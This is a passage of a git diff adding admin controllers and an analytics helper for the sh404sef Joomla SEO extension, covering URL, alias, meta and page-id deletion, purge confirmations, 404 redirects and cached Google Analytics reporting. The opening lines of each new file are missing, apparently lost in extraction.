$document->getType(); + $viewLayout = JRequest::getCmd('layout', $this->_defaultLayout); + + $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath)); + + // push url id(s) into the view + $view->cid = $cid; + + // tell it what to display + $view->mainText = JText::sprintf('COM_SH404SEF_CONFIRM_ALIAS_DELETION', count($cid)); + + // and who's gonna handle the request + $view->actionController = $this->_editController; + + // Get/Create the model + if ($model = $this->getModel($this->_defaultModel, 'Sh404sefModel')) + { + // store initial context in model + $model->setContext($this->_context); + + // Push the model into the view (as default) + $view->setModel($model, true); + + } + + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + + } + + public function confirmed() + { + + // Check for request forgeries + JRequest::checkToken() or jexit('Invalid Token'); + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + + // check invalid data + if (!is_array($cid) || count($cid) < 1 || $cid[0] == 0) + { + $this->setRedirect($this->_getDefaultRedirect(), JText::_('COM_SH404SEF_SELECT_ALIAS')); + } + + // now perform alias deletion + // get the model to do it, actually + // Get/Create the model + if ($model = $this->getModel($this->_defaultModel, 'Sh404sefModel')) + { + // store initial context in model + $model->setContext($this->_context); + + // call the delete method on our list + $model->deleteByIds($cid); + + // check errors and enqueue them for display if any + $errors = $model->getErrors(); + if (!empty($errors)) + { + $this->enqueuemessages($errors, 'error'); + + // clear success message, as we have just queued some error messages + $status = ''; + } + + } + + // in J3 no ajax, we have a "closing" layout + if (version_compare(JVERSION, '3.0.', 'ge')) + { + // V3: we redirect to the close page, as ajax is not used anymore to save + $failure = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=editalias&view=editurl&layout=refresh', + 'message' => $model->getError()); + $success = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=editalias&view=editurl&layout=refresh', + 'message' => JText::_('COM_SH404SEF_ELEMENT_DELETED')); + if (empty($savedId)) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } + else + { + // send back response through default view + $this->display(); + } + + } + + /** + * Hook for the "confirmed" task, until our + * confirm view is a bit more flexible + */ + public function delete() + { + $this->confirmed(); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editnotfound.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editnotfound.php new file mode 100644 index 00000000..4b2ccf50 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editnotfound.php @@ -0,0 +1,64 @@ +_id = $cid[0]; + + // need to get the view to push the url data into it + $viewName = JRequest::getWord('view'); + if (empty( $viewName)) { + JRequest::setVar( 'view', $this->_defaultView); + } + + $document =JFactory::getDocument(); + + $viewType = $document->getType(); + $viewName = JRequest::getCmd( 'view'); + $this->_editView = $viewName; + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // Call the base controller to do the rest + $this->display(); + + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editurl.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editurl.php new file mode 100644 index 00000000..0bf53c61 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/editurl.php @@ -0,0 +1,234 @@ +_editData = JRequest::get('post'); + + // find and store edited item id + $this->_id = JRequest::getInt('id'); + + // perform saving of incoming data + $savedId = $this->_doSave($this->_editData); + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // V3: we redirect to the close page, as ajax is not used anymore to save + $failure = array('url' => 'index.php?option=com_sh404sef&c=editurl&view=editurl&tmpl=component', + 'message' => JText::sprintf('JERROR_SAVE_FAILED', $this->getError())); + $success = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=editurl&view=editurl&layout=refresh', + 'message' => JText::_('COM_SH404SEF_ELEMENT_SAVED')); + if (empty($savedId)) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } + else + { + // error ? + if (empty($savedId)) + { + // edit again with same data + $errorMsg = $this->getError(); + $errorMsg = empty($errorMsg) ? $this->_getMessage('failure') : $errorMsg; + $this->setError($errorMsg); + JRequest::setVar('c', $this->_editController); + JRequest::setVar('task', $this->_editTask); + JRequest::setVar('cid', array($this->_id)); + // in case of error, if this is an ajax call, + // we simply return the error to the caller + $isAjax = JRequest::getInt('shajax') == 1; + if (!$isAjax) + { + // if not ajax, we edit again the same page + $this->edit(); + return false; + } + } + // saved, no need to keep them + $this->_editData = null; + // display response + $this->display(); + } + } + + /** + * Redirect to a confirmation page showing in + * a popup window + */ + public function confirmdelete($deleteDuplicates = false) + { + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + + // Set the view name and create the view object + $viewName = 'confirm'; + $document = JFactory::getDocument(); + $viewType = $document->getType(); + $viewLayout = JRequest::getCmd('layout', $this->_defaultLayout); + + $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath)); + + // push url id(s) into the view + $view->cid = $cid; + + // tell it what to display + $view->mainText = JText::sprintf('COM_SH404SEF_CONFIRM_URL_DELETION', count($cid)); + + // and who's gonna handle the request + $view->actionController = $this->_editController; + + // Get/Create the model + if ($model = $this->getModel($this->_defaultModel, 'Sh404sefModel')) + { + // store initial context in model + $model->setContext($this->_context); + + // Push the model into the view (as default) + $view->setModel($model, true); + + // check if delete duplicates requested + $view->task = $deleteDuplicates ? 'confirmeddeldup' : 'delete'; + + } + + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + } + + /** + * GO to confirmation of url and duplicates deletion + */ + public function confirmdeletedeldup() + { + $this->confirmdelete($deleteDuplicates = true); + } + + /** + * 404 urls deletion is same as regular urls + */ + public function confirmdelete404() + { + $this->confirmdelete(); + } + + public function confirmed($deleteDuplicates = false) + { + // Check for request forgeries + JRequest::checkToken() or jexit('Invalid Token'); + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + + // check invalid data + if (!is_array($cid) || count($cid) < 1 || $cid[0] == 0) + { + $this->setRedirect($this->_getDefaultRedirect(), JText::_('COM_SH404SEF_SELECT_ONE_URL')); + } + + // now perform url deletion + // get the model to do it, actually + // Get/Create the model + if ($model = $this->getModel($this->_defaultModel, 'Sh404sefModel')) + { + // store initial context in model + $model->setContext($this->_context); + + // call the delete method on our list + if ($deleteDuplicates) + { + $model->deleteByIdsWithDuplicates($cid); + } + else + { + $model->deleteByIds($cid); + } + + // check errors and enqueue them for display if any + $errors = $model->getErrors(); + if (!empty($errors)) + { + $this->enqueuemessages($errors, 'error'); + } + } + + // in J3 no ajax, we have a "closing" layout + if (version_compare(JVERSION, '3.0.', 'ge')) + { + // V3: we redirect to the close page, as ajax is not used anymore to save + $failure = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=editurl&view=editurl&layout=refresh', + 'message' => $model->getError()); + $success = array('url' => 'index.php?option=com_sh404sef&tmpl=component&c=editurl&view=editurl&layout=refresh', + 'message' => JText::_('COM_SH404SEF_ELEMENT_DELETED')); + if (!empty($errors)) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } + else + { + // send back response through default view + $this->display(); + } + } + + public function confirmeddeldup() + { + $this->confirmed($deleteDuplicates = true); + } + + /** + * Hook for the "confirmed" task, until our + * confirm view is a bit more flexible + */ + public function delete() + { + $this->confirmed(); + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/metas.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/metas.php new file mode 100644 index 00000000..aa763399 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/metas.php @@ -0,0 +1,234 @@ + $value) { + $t = array(); + $t['meta_id'] = $value; + $t['metatitle'] = $titles[$id]; + $t['metadesc'] = $descs[$id]; + $t['newurl'] = $newurls[$id]; + $dataSet[] = $t; + } + $newMd5 = Sh404sefHelperGeneral::getDataMD5( $dataSet, array( 'metatitle', 'metadesc'), $asObject= false); + $dataModified = $originalMd5 != $newMd5; + + // if nothing changed, display message and return to meta data list + if ($dataModified) { + + // we did change something, ask model to save it + $model = $this->getModel( 'metas', 'Sh404sefModel'); + $model->saveSet( $dataSet); + + // check errors and display if not ajax call + $error = $model->getError(); + if (!empty($error)) { + $this->setError( $error); + } + + } else { + // did not change data, display that + $this->setError( JText::_('COM_SH404SEF_DATA_NOT_MODIFIED')); + } + + // check if ajax call, we'll return differently + $isAjax = JRequest::getInt( 'shajax') == 1; + + // finally return + if ($isAjax) { + // ajax : send xml response + $this->display(); + } else { + // not ajax, enqueue message and go back to list + $this->enqueuemessages( array( $error), 'error'); + $this->setRedirect( $this->_getDefaultRedirect()); + } + } + + /** + * Handles confirmation for "Purge urls" action + * + */ + public function confirmpurge() { + + // use actual method shared with "purge selected" feature + $this->_doConfirmPurge( 'all'); + + } + + /** + * Handles confirmation for "Purge selected urls" action + * + */ + public function confirmpurgeselected() { + + // use actual method shared with "purge" feature + $this->_doConfirmPurge( 'selected'); + + } + + /** + * Hook for the "confirmed" task, until our + * confirm view is a bit more flexible + */ + public function delete() { + $this->confirmedDeleteMetas(); + } + + /** + * Handles actions confirmed through the confirmation box + */ + public function confirmedDeleteMetas() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + // collect type of purge to make + $type = JRequest::getCmd( 'delete_type'); + + switch($type) { + case 'all': + break; + case 'selected': + break; + default: + $this->setError('Invalid data'); + $this->display(); + break; + } + + // now perform meta data deletion + // get the model to do it, actually + // Get/Create the model + if ($model = $this->getModel( 'metas', 'Sh404sefModel')) { + // store initial context in model + $model->setContext( 'com_sh404sef.metas.metas.default'); + + // call the delete method on our list + $model->purgeMetas( $type); + + // check errors and enqueue them for display if any + $error = $model->getError(); + if (!empty($error)) { + $this->setError( $error); + } + + } + // return result to caller + $this->display(); + } + + public function import() { + + } + + public function export() { + + } + + /** + * Redirect to a confirmation page showing in + * a popup window + */ + private function _doConfirmPurge( $type = 'allmeta') { + + // Set the view name and create the view object + $viewName = 'confirm'; + $document =JFactory::getDocument(); + $viewType = $document->getType(); + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // and who's gonna handle the request + $view->actionController = $this->_defaultController; + + // Get/Create the model + if ($model = $this->getModel( 'metas', 'Sh404sefModel')) { + // store context of the main url view in the model + $model->setContext( 'com_sh404sef.metas.metas.default'); + + // Push the model into the view (as default) + $view->setModel($model, true); + + } + + // tell it what to display + // we only purge automatic sef urls, count that + $numberOfMetaRecords = $model->getMetaRecordsCount( $type); + + // if nothing to do, say so and return to main page + if (empty( $numberOfMetaRecords)) { + $view->redirectTo = $this->_getDefaultRedirect(); + $view->message = JText::_('COM_SH404SEF_NORECORDS'); + } else { + + // calculate the message and some hidden data to be passed + // through the confirmation box + switch ($type) { + case 'selected': + $mainText = JText::sprintf( 'COM_SH404SEF_CONFIRM_PURGE_METAS_SELECTED', $numberOfMetaRecords); + break; + case 'all': + $mainText = JText::sprintf( 'COM_SH404SEF_CONFIRM_PURGE_METAS', $numberOfMetaRecords); + default: + break; + } + + $hiddenText = ''; + + // push that into the view + $view->mainText = $mainText; + $view->hiddenText = $hiddenText; + } + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + + } + + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/notfound.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/notfound.php new file mode 100644 index 00000000..8fe18604 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/notfound.php @@ -0,0 +1,90 @@ + 1) + { + // more than one target url selected, display error + $this->setError(JText::_('COM_SH404SEF_SELECT_ONLY_ONE_URL_TO_REDIRECT')); + $this->display(); + return; + } + // only one url, use it + $targetUrlId = $cid[0]; + if (empty($targetUrlId)) + { + // bad url, probably not an integer was passed + $this->setError(JText::_('COM_SH404SEF_INVALID_REDIRECT_TARGET_ID')); + $this->display(); + return; + } + + // get model and ask it to do the job + $model = $this->getModel($this->_defaultModel); + $model->redirectNotFoundUrl($notFoundUrlId, $targetUrlId); + + // check errors + $error = $model->getError(); + if (!empty($error)) + { + $this->setError($error); + } + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // V3: we redirect to the close page, as ajax is not used anymore to save + $failure = array('url' => 'index.php?option=com_sh404sef&c=notfound&view=notfound&tmpl=component', + 'message' => $error); + $success = array('url' => 'index.php?option=com_sh404sef&c=notfound&view=notfound&tmpl=component&layout=refresh', + 'message' => JText::_('COM_SH404SEF_ELEMENT_SAVED')); + if (!empty($error)) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } + else + { + // standard display + $this->display(); + } + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/pageids.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/pageids.php new file mode 100644 index 00000000..e2246015 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/pageids.php @@ -0,0 +1,275 @@ +getType(); + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // push url id(s) into the view + $view->cid = $cid; + + // tell it what to display + $view->mainText = JText::sprintf( 'COM_SH404SEF_CONFIRM_PAGEID_DELETION', count($cid)); + + // and who's gonna handle the request + $view->actionController = $this->_defaultController; + + // and then what to do + $view->task = 'confirmeddeletepageids'; + + // Get/Create the model + if ($model = $this->getModel( $this->_defaultModel, 'Sh404sefModel')) { + // store initial context in model + $model->setContext( $this->_context); + + // Push the model into the view (as default) + $view->setModel($model, true); + + } + + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + + } + + /** + * Handles confirmation for "Purge urls" action + * + */ + public function confirmpurge() { + + // use actual method shared with "purge selected" feature + $this->_doConfirmPurge( 'all'); + + } + + /** + * Handles confirmation for "Purge selected urls" action + * + */ + public function confirmpurgeselected() { + + // use actual method shared with "purge" feature + $this->_doConfirmPurge( 'selected'); + + } + + public function confirmeddeletepageids() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + // find and store edited item id + $cid = JRequest::getVar('cid', array(0), 'default', 'array'); + + // check invalid data + if (!is_array( $cid ) || count( $cid ) < 1 || $cid[0] == 0) { + $this->setRedirect( $this->_getDefaultRedirect(), JText::_( 'COM_SH404SEF_SELECT_ONE_PAGEID')); + } + + // now perform pageid deletion + // get the model to do it, actually + // Get/Create the model + $error = ''; + if ($model = $this->getModel( 'pageids', 'Sh404sefModel')) { + // store initial context in model + $model->setContext( $this->_context); + + // call the delete method on our list + $model->deleteByIds( $cid); + + // check errors and enqueue them for display if any + $error = $model->getError(); + if (!empty($error)) { + $this->enqueuemessages( $error, 'error'); + + // clear success message, as we have just queued some error messages + $status = ''; + } + + } + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // V3: we redirect to the close page, as ajax is not used anymore to save + $failure = array('url' => 'index.php?option=com_sh404sef&c=pageids&view=confirm&layout=refresh&tmpl=component', 'message' => $error); + $success = array('url' => 'index.php?option=com_sh404sef&c=pageids&view=confirm&layout=refresh&tmpl=component', + 'message' => JText::_('COM_SH404SEF_OPERATION_COMPLETED')); + if (!empty($error)) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } + else + { + // standard display + $this->display(); + } + + } + + /** + * Handles actions confirmed through the confirmation box + */ + public function confirmedpurgepageids() { + + // Check for request forgeries + JRequest::checkToken() or jexit( 'Invalid Token' ); + + // collect type of purge to make + $type = JRequest::getCmd( 'delete_type'); + + switch($type) { + case 'all': + break; + case 'selected': + break; + default: + $this->setError('Invalid data'); + return; + break; + } + + // now perform meta data deletion + // get the model to do it, actually + // Get/Create the model + if ($model = $this->getModel( 'pageids', 'Sh404sefModel')) { + // store initial context in model + $model->setContext( 'com_sh404sef.pageids.pageids.default'); + + // call the delete method on our list + $model->purgePageids( $type); + + // check errors and enqueue them for display if any + $error = $model->getError(); + if (!empty($error)) { + $this->setError( $error); + } + + } + // return result to caller + $this->display(); + } + + public function import() { + + } + + public function export() { + + } + + /** + * Redirect to a confirmation page showing in + * a popup window + */ + private function _doConfirmPurge( $type = 'allmeta') { + + // Set the view name and create the view object + $viewName = 'confirm'; + $document =JFactory::getDocument(); + $viewType = $document->getType(); + $viewLayout = JRequest::getCmd( 'layout', $this->_defaultLayout ); + + $view = $this->getView( $viewName, $viewType, '', array( 'base_path'=>$this->basePath)); + + // and who's gonna handle the request + $view->actionController = $this->_defaultController; + + // Get/Create the model + if ($model = $this->getModel( 'pageids', 'Sh404sefModel')) { + // store context of the main url view in the model + $model->setContext( 'com_sh404sef.pageids.pageids.default'); + + // Push the model into the view (as default) + $view->setModel($model, true); + + } + + // tell it what to display + // we only purge automatic sef urls, count that + $numberOfPageids = $model->getPageIdsCount( $type); + + // if nothing to do, say so and return to main page + if (empty( $numberOfPageids)) { + $view->redirectTo = $this->_getDefaultRedirect(); + $view->message = JText::_('COM_SH404SEF_NORECORDS'); + } else { + + // calculate the message and some hidden data to be passed + // through the confirmation box + switch ($type) { + case 'selected': + $mainText = JText::sprintf( 'COM_SH404SEF_CONFIRM_PAGEID_DELETION', $numberOfPageids); + break; + case 'all': + $mainText = JText::sprintf( 'COM_SH404SEF_CONFIRM_PAGEID_DELETION', $numberOfPageids); + default: + break; + } + + // and then what to do + $view->task = 'confirmedpurgepageids'; + $hiddenText = ''; + + // push that into the view + $view->mainText = $mainText; + $view->hiddenText = $hiddenText; + } + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + + } + + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/urls.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/urls.php new file mode 100644 index 00000000..456f0634 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/urls.php @@ -0,0 +1,211 @@ +_doConfirmPurge('auto'); + + } + + /** + * Handles confirmation for "Purge selected urls" action + * + */ + public function confirmpurgeselected() + { + // use actual method shared with "purge" feature + $this->_doConfirmPurge('selected'); + + } + + /** + * Handles confirmation for "Purge urls" action + * + */ + public function confirmpurge404() + { + // use actual method shared with "purge selected" feature + $this->_doConfirmPurge('404'); + } + + /** + * Hook for the "confirmed" task, until our + * confirm view is a bit more flexible + */ + public function delete() + { + $this->confirmed(); + } + + /** + * Handles actions confirmed through the confirmation box + */ + public function confirmed() + { + // Check for request forgeries + JRequest::checkToken() or jexit('Invalid Token'); + + // collect type of purge to make + $type = JRequest::getCmd('delete_type'); + + switch ($type) + { + case 'auto': + break; + case 'selected': + break; + case '404': + break; + default: + $this->setError('Invalid data'); + $this->display(); + break; + } + + // now perform url deletion + // get the model to do it, actually + // Get/Create the model + $error = ''; + if ($model = $this->getModel($this->_defaultModel, 'Sh404sefModel')) + { + // store initial context in model + $model->setContext('com_sh404sef.urls.urls.default'); + + // call the delete method on our list + $model->purge($type); + + // check errors and enqueue them for display if any + $error = $model->getError(); + if (!empty($error)) + { + $this->setError($error); + } + } + + if (version_compare(JVERSION, '3.0', 'ge')) + { + // V3: we redirect to the close page, as ajax is not used anymore to save + $failure = array('url' => 'index.php?option=com_sh404sef&c=urls&view=confirm&layout=refresh&tmpl=component', 'message' => $error); + $success = array('url' => 'index.php?option=com_sh404sef&c=urls&view=confirm&layout=refresh&tmpl=component', + 'message' => JText::_('COM_SH404SEF_SUCCESSPURGE')); + if (!empty($error)) + { + // Save failed, go back to the screen and display a notice. + $this->setRedirect(JRoute::_($failure['url'], false), $failure['message'], 'error'); + return false; + } + + $this->setRedirect(JRoute::_($success['url'], false), $success['message'], 'message'); + return true; + } + else + { + // standard display + $this->display(); + } + } + + /** + * Redirect to a confirmation page showing in + * a popup window + */ + private function _doConfirmPurge($type = 'auto') + { + // Set the view name and create the view object + $viewName = 'confirm'; + $document = JFactory::getDocument(); + $viewType = $document->getType(); + $viewLayout = JRequest::getCmd('layout', $this->_defaultLayout); + + $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath)); + + // and who's gonna handle the request + $view->actionController = $this->_defaultController; + + // Get/Create the model + if ($model = $this->getModel($this->_defaultModel, 'Sh404sefModel')) + { + // store context of the main url view in the model + $model->setContext('com_sh404sef.urls.urls.default'); + + // Push the model into the view (as default) + $view->setModel($model, true); + } + + // tell it what to display + // we only purge automatic sef urls, count that + $numberOfUrls = $model->getUrlsCount($type); + + // if nothing to do, say so and return to main page + if (empty($numberOfUrls)) + { + // don't forget to delete url cache, just in case + Sh404sefHelperCache::purge(); + + // then do redirect + $view->redirectTo = $this->_getDefaultRedirect(); + $view->message = JText::_('COM_SH404SEF_NORECORDS'); + } + else + { + // calculate the message and some hidden data to be passed + // through the confirmation box + switch ($type) + { + case 'selected': + $mainText = JText::sprintf('COM_SH404SEF_CONFIRM_PURGE_URLS_SELECTED', $numberOfUrls); + break; + case '404': + $mainText = JText::sprintf('COM_SH404SEF_CONFIRM_PURGE_URLS_404', $numberOfUrls); + break; + case 'auto': + $mainText = JText::sprintf('COM_SH404SEF_CONFIRM_PURGE_URLS', $numberOfUrls); + default: + break; + } + + $hiddenText = ''; + + // push that into the view + $view->mainText = $mainText; + $view->hiddenText = $hiddenText; + } + // Set the layout + $view->setLayout($viewLayout); + + // Display the view + $view->display(); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/controllers/wizard.php b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/wizard.php new file mode 100644 index 00000000..8bd42e6f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/controllers/wizard.php @@ -0,0 +1,24 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/analytics.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/analytics.php new file mode 100644 index 00000000..b4370277 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/analytics.php @@ -0,0 +1,693 @@ +analyticsEdition != 'none'; + } + + /** + * Obtain analytics information, as stored in cache + * by checkAnalytics + * + */ + public static function getData( $options) { + + // main option: are we forcing update, or only using the cached data ? + $options['forced'] = empty( $options['forced']) ? 0 : $options['forced']; + + $sefConfig = Sh404sefFactory::getConfig(); + $dataTypeString = str_replace( 'ga:', '', $sefConfig->analyticsDashboardDataType); + + // store options + self::$_options = $options; + + // create cache Id and get cache object + $cacheId = md5( $dataTypeString . $options['accountId'] . $options['showFilters'] . $options['groupBy'] . $options['startDate'] . $options['endDate'] . $options['cpWidth'] . $options['report'] . $options['subrequest']); + + $cache = JFactory::getCache( 'sh404sef_analytics'); + $cache->setLifetime( 60); // cache result for 1 hours + $cache->setCaching(1); // force caching on + + // empty cache if we are going to look for updates or if reports are disabled (so that next time + // they enabled, we start wih fresh data + if(self::$_options['forced'] || !$sefConfig->analyticsReportsEnabled) { + // clean our cache + $cache->remove( $cacheId); + } + + $response = $cache->get( array( 'Sh404sefHelperAnalytics', '_doCheck'), $args = array(), $cacheId); + + // return response, either dummy or from cache + return $response; + + } + + public static function _doCheck() { + + jimport( 'joomla.error.profiler' ); + // creating the profiler object will start the counter + $profiler = JProfiler::getInstance( 'sh404sef_analytics_profiler' ); + + // if not set to auto check and not forced to do so + // when user click on "check updates" button + // we don't actually try to get updates info + $sefConfig = & Sh404sefFactory::getConfig(); + + // check if allowed to auto check, w/o user clicking on button + if (!$sefConfig->autoCheckNewAnalytics && !self::$_options['forced']) { + // prepare a default response object + $response = new stdClass(); + $response->status = true; + $response->statusMessage = JText::_('COM_SH404SEF_CLICK_TO_CHECK_ANALYTICS'); + $response->note = ''; + return $response; + } + + // calculate adapted class name + $className = 'Sh404sefAdapterAnalytics' . strtolower( $sefConfig->analyticsType); + $handler = new $className(); + + // ask specialized class to fetch analytics data + $response = $handler->fetchAnalytics( $sefConfig, self::$_options); + + // done; send response back + return $response; + } + + public static function getHttpClient() { + + static $_instance = null; + + if (is_null( $_instance)) { + // get an http client + $_instance = new Zendshl_Http_Client; + + // set params + $_instance->setConfig( array ( + 'maxredirects' => 5, + 'timeout' => 10)); + + } + + return $_instance; + } + + public static function verifyAuthResponse( $response) { + + // check if valid response http code + $status = $response->getStatus(); + if ($status != 200) { + throw new Sh404sefExceptionDefault( JText::_('COM_SH404SEF_ERROR_AUTH_ANALYTICS') . '(' . $status . ')'); + } + } + + public static function getRequestOptions( $context = '') { + + $options = array(); + + // if showing filter, we're on the main analytics manager view + $options['showFilters'] = JRequest::getCmd( 'showFilters', 'yes'); + + // use that in the context where display options are stored, to differentiate + // dashboard from analytics manager + $context = empty( $context) ? 'sh404sef_analytics_' : $context; + $context .= '_' . ( $options['showFilters'] == 'yes' ? 'manager' : 'dashboard'); + + $options['forced'] = JRequest::getInt( 'forced', 0); + $options['startDate'] = JRequest::getString( 'startDate', ''); + $options['endDate'] = JRequest::getString( 'endDate', ''); + $options['groupBy'] = JRequest::getString( 'groupBy', ''); + $options['cpWidth'] = JRequest::getInt( 'cpWidth'); + $options['report'] = JRequest::getCmd( 'report', 'dashboard'); + $options['subrequest'] = JRequest::getCmd( 'subrequest', ''); + + // default max number of results + $options['max-results'] = '100'; + + // max out width for dashboard + if ($options['report'] == 'dashboard' && $options['cpWidth'] > 800) { + $options['cpWidth'] = 800; + } + + // start and end dates + $app = JFactory::getApplication(); + + // which web site to look at ? + $options['accountId'] = ''; + + // if on dashboard, we use dates calculated from backend settings + // else we use user set values (using calendar input boxes displayed + // the Filters area + if ($options['showFilters'] == 'yes') { + // user selected dates, read user input + $options['startDate'] = $app->getUserstateFromRequest( $context . 'startDate', 'startDate', '', 'string'); + $options['endDate'] = $app->getUserstateFromRequest( $context . 'endDate', 'endDate', '', 'string'); + $options['groupBy'] = $app->getUserstateFromRequest( $context . 'groupBy', 'groupBy', '', 'string'); + if(empty( $options['groupBy'])) { + // default to grouping by day + $options['groupBy'] = self::_getDefaultGroupBy(); + } + $options['max-top-referrers'] = 15; + $options['max-top-urls'] = 15; + } else { + $options['max-top-referrers'] = 5; + $options['max-top-urls'] = 5; + } + + if (empty( $options['startDate']) || empty( $options['endDate']) || $options['showFilters'] != 'yes') { + // dashboard: calculate dates based on backend settings + // end date is always yesterday + $date = new DateTime( 'yesterday'); + $options['endDate'] = $date->format('Y-m-d'); + + // use config to find what date range we should display : week, month or year + $sefConfig = Sh404sefFactory::getConfig(); + $date->modify( '-1 ' . $sefConfig->analyticsDashboardDateRange); + $options['startDate'] = $date->format('Y-m-d'); + + // calculate groupBy options + $options['groupBy'] = self::_getDefaultGroupBy(); + + } + + return $options; + + } + + /** + * Search for current site in account list, in order + * to find its Google id. If not found, defaults to + * first site in list + * + * @param array of object $accounts + */ + public static function getDefaultAccountId( $accounts) { + + $id = 0; + if (!empty( $accounts)) { + // search for current site + $current = Sh404sefHelperAnalytics::getWebsiteName(); + foreach( $accounts as $account) { + if (strpos( $current, $account->title) !== false or strpos( str_replace( 'www.', '', $current), $account->title) !== false) { + $id = $account->id; + break; + } + } + // default to first account if no match found + $id = empty( $id) ? $accounts[0]->id : $id; + } + + return $id; + } + /** + * Get this web site name, w/o scheme, port, etc + * + */ + public static function getWebsiteName() { + + static $site; + + // Get the scheme + if(!isset($site)) + { + $uri = JURI::getInstance( JURI::base()); + $site = $uri->toString( array('host')); + } + + return $site; + } + + protected static function _getDefaultGroupBy() { + + $sefConfig = Sh404sefFactory::getConfig(); + switch ($sefConfig->analyticsDashboardDateRange) { + default: + case 'week': + $groupBy = 'ga:year,ga:month,ga:week,ga:day'; + break; + case 'month': + $groupBy = 'ga:year,ga:month,ga:week'; + break; + case 'year': + $groupBy = 'ga:year,ga:month'; + break; + } + + return $groupBy; + } + + /** + * Format an array of date strings for display as abscise + * of a graphic + * + * @param array of object $entries + * @param array $options + */ + public static function formatAbciseDates( $entries, $options) { + + // array to receive X labels + $formattedDates = array(); + + // various cases of dimensions requested + switch( $options['groupBy']) { + case 'ga:year,ga:month,ga:week,ga:day': + // date string represents a day. we use : mm/dd + foreach( $entries as $entry) { + $formattedDates[] = self::_getShortMonthString( $entry->dimension['month']) . ' ' . $entry->dimension['day']; + } + break; + // date string represents a week number + case 'ga:year,ga:month,ga:week': + foreach( $entries as $entry) { + $formattedDates[] = self::_getWeekPeriodString( $entry->dimension); + } + break; + case 'ga:year,ga:month': + // date string is a month number + foreach( $entries as $entry) { + $formattedDates[] = self::_getShortMonthString( $entry->dimension['month']) . ' ' . substr( $entry->dimension['year'], 2, 2); + } + break; + } + + return $formattedDates; + } + + protected static function _getShortMonthString( $month) { + + switch ($month) { + case 1: + $m = JText::_('JANUARY_SHORT'); + break; + case 2: + $m = 